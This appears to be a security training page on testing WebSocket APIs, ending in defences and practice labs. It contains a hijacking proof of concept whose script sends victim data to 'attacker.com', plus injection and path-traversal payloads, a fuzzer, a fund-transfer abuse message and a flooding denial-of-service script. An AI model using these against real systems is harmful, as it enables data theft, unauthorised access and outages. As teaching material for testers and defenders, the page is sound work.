API Security
Intermediate
API2 API1

WebSocket API Security

WebSocket APIs use a persistent, full-duplex connection upgraded from HTTP. Unlike REST endpoints, they often lack standard auth headers on every message, have no built-in CSRF protection on the upgrade handshake, and send binary or JSON frames that scanners frequently ignore.

WebSocket Blind Spots

Traditional web scanners miss WebSocket traffic. Burp Suite captures it in the WebSocket History tab (Proxy → WebSockets), but only if the upgrade request goes through the proxy. Ensure your browser is fully proxied (including localhost) when testing WebSocket-heavy apps.

Identifying WebSocket Endpoints

WebSocket connections start as HTTP GET requests with an Upgrade: websocket header. Look for them in browser DevTools (Network → WS filter) and Burp's WebSocket History.

bash
# Connect to a WebSocket endpoint from the terminal
wscat -c wss://api.target.com/ws

# With custom headers (auth token)
wscat -c wss://api.target.com/ws   --header "Authorization: Bearer TOKEN"

# Send a message after connecting
> {"action": "subscribe", "channel": "user_updates", "user_id": 1}
# Connect to a WebSocket endpoint from the terminal
wscat -c wss://api.target.com/ws

# With custom headers (auth token)
wscat -c wss://api.target.com/ws   --header "Authorization: Bearer TOKEN"

# Send a message after connecting
> {"action": "subscribe", "channel": "user_updates", "user_id": 1}
python
# Python: establish a WebSocket connection
import websocket

def on_message(ws, message):
    print(f"Received: {message}")

ws = websocket.WebSocketApp(
    "wss://api.target.com/ws",
    header={"Authorization": "Bearer TOKEN"},
    on_message=on_message,
)
ws.run_forever()
# Python: establish a WebSocket connection
import websocket

def on_message(ws, message):
    print(f"Received: {message}")

ws = websocket.WebSocketApp(
    "wss://api.target.com/ws",
    header={"Authorization": "Bearer TOKEN"},
    on_message=on_message,
)
ws.run_forever()

Cross-Site WebSocket Hijacking (CSWSH)

CSWSH is analogous to CSRF but for WebSockets. If the upgrade request relies solely on cookies for authentication and does not validate the Origin header, an attacker can hijack the connection from a malicious page.

Check 1: Origin Header Validation

Send the upgrade request with a forged Origin header via Burp Repeater:

http
GET /ws HTTP/1.1
Host: api.target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://evil.com
Cookie: session=VICTIM_SESSION

# If the server accepts this → CSWSH vulnerable
GET /ws HTTP/1.1
Host: api.target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://evil.com
Cookie: session=VICTIM_SESSION

# If the server accepts this → CSWSH vulnerable

CSWSH Proof of Concept

html
<!-- Attacker's page: steals data over WebSocket using victim's cookies -->
<script>
  const ws = new WebSocket('wss://api.target.com/ws');
  ws.onopen = () => {
    ws.send(JSON.stringify({ action: 'get_profile' }));
  };
  ws.onmessage = (event) => {
    // Exfiltrate to attacker server
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data));
  };
</script>
<!-- Attacker's page: steals data over WebSocket using victim's cookies -->
<script>
  const ws = new WebSocket('wss://api.target.com/ws');
  ws.onopen = () => {
    ws.send(JSON.stringify({ action: 'get_profile' }));
  };
  ws.onmessage = (event) => {
    // Exfiltrate to attacker server
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data));
  };
</script>

Authentication Testing

Authentication on the Upgrade vs. Messages

Many apps authenticate the upgrade request but not individual messages. After a legitimate connection, try sending messages with manipulated user_id or session fields.

bash
# Authenticated upgrade → then send message as different user
wscat -c wss://api.target.com/ws --header "Authorization: Bearer YOUR_TOKEN"

# Once connected, send message targeting another user's resource:
> {"action": "get_orders", "user_id": 2}
> {"action": "transfer_funds", "from": 2, "to": 999, "amount": 1000}
# Authenticated upgrade → then send message as different user
wscat -c wss://api.target.com/ws --header "Authorization: Bearer YOUR_TOKEN"

# Once connected, send message targeting another user's resource:
> {"action": "get_orders", "user_id": 2}
> {"action": "transfer_funds", "from": 2, "to": 999, "amount": 1000}

No Authentication on Upgrade

Test if the upgrade request can be made without credentials:

bash
# Connect without auth header or cookies
wscat -c wss://api.target.com/ws

# If connection succeeds, try sending messages:
> {"action": "list_users"}
> {"action": "get_admin_data"}
# Connect without auth header or cookies
wscat -c wss://api.target.com/ws

# If connection succeeds, try sending messages:
> {"action": "list_users"}
> {"action": "get_admin_data"}

Message Injection & Fuzzing

WebSocket messages process input just like REST parameters — test for injection, authorization flaws, and unexpected message types.

Message Injection in Burp

In Burp Proxy → WebSockets history, right-click any message → Send to Repeater. Modify fields and resend.

json
# Original message:
{"action": "get_user", "id": 42}

# Injection attempts:
{"action": "get_user", "id": "42 OR 1=1"}
{"action": "get_user", "id": {"$gt": 0}}
{"action": "get_user", "id": "../../etc/passwd"}
{"action": "admin_panel"}
{"action": "get_user", "id": 1, "role": "admin"}
# Original message:
{"action": "get_user", "id": 42}

# Injection attempts:
{"action": "get_user", "id": "42 OR 1=1"}
{"action": "get_user", "id": {"$gt": 0}}
{"action": "get_user", "id": "../../etc/passwd"}
{"action": "admin_panel"}
{"action": "get_user", "id": 1, "role": "admin"}

Automated Fuzzing

python
# Install ws-fuzzer
pip3 install websocket-client

# Simple Python fuzzer
import websocket
import json

payloads = ["' OR 1=1--", "<script>alert(1)</script>", "{{7*7}}", "../../../etc/passwd"]

ws = websocket.create_connection("wss://api.target.com/ws",
    header=["Authorization: Bearer TOKEN"])

for p in payloads:
    msg = json.dumps({"action": "get_user", "id": p})
    ws.send(msg)
    result = ws.recv()
    print(f"Payload: {p}
Response: {result}
")
# Install ws-fuzzer
pip3 install websocket-client

# Simple Python fuzzer
import websocket
import json

payloads = ["' OR 1=1--", "<script>alert(1)</script>", "{{7*7}}", "../../../etc/passwd"]

ws = websocket.create_connection("wss://api.target.com/ws",
    header=["Authorization: Bearer TOKEN"])

for p in payloads:
    msg = json.dumps({"action": "get_user", "id": p})
    ws.send(msg)
    result = ws.recv()
    print(f"Payload: {p}
Response: {result}
")

Denial of Service

python
# Flood with large messages (connection exhaustion)
python3 -c "
import websocket, json

ws = websocket.create_connection('wss://api.target.com/ws',
    header=['Authorization: Bearer TOKEN'])

# Send 10,000 rapid messages
for i in range(10000):
    ws.send(json.dumps({'action': 'ping', 'data': 'A' * 65535}))
"
# Flood with large messages (connection exhaustion)
python3 -c "
import websocket, json

ws = websocket.create_connection('wss://api.target.com/ws',
    header=['Authorization: Bearer TOKEN'])

# Send 10,000 rapid messages
for i in range(10000):
    ws.send(json.dumps({'action': 'ping', 'data': 'A' * 65535}))
"

Remediation

Defense Strategies

  • Validate the Origin header on the WebSocket upgrade request against an allowlist.
  • Use a CSRF token as a query parameter on the upgrade URL (since custom headers can't be set by new WebSocket()).
  • Authenticate every message, not just the upgrade handshake. Include a session token in each frame.
  • Implement per-connection and per-IP rate limits on message frequency and size.
  • Validate all message fields server-side — treat them as untrusted input.
  • Use TLS (wss://) for all WebSocket connections in production.
🎯

WebSocket Security Practice

Practice WebSocket vulnerability exploitation on deliberately vulnerable applications.

🔶
PortSwigger — WebSocket Labs PortSwigger medium
CSWSHMessage manipulationAuthentication bypass
Open Lab
🔧
OWASP WebGoat — WebSocket Challenges Custom Lab medium
Origin bypassInjection via messagesAuth testing
Open Lab